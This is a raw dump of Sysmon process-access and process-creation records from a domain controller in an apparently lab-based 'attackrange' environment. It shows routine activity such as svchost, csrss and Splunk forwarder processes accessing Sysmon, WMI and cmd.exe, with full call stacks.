09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004801Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004800Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004799Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004798Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-FF00-000000007F01}808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.165{A5F018FF-294B-5F80-EF00-000000007F01}50964708C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE{A5F018FF-294E-5F80-FF00-000000007F01}808C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+6665|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1893f|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+17106|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1385a|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+12176|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+19082|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+d94e|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.177{A5F018FF-294E-5F80-FF00-000000007F01}808C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294B-5F80-EF00-000000007F01}5096C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\Splunk.EXE" restart --waitonpid=2528 10341000x80000000000000004793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.055{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.009{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-1701-000000007F01}1512C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.946{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 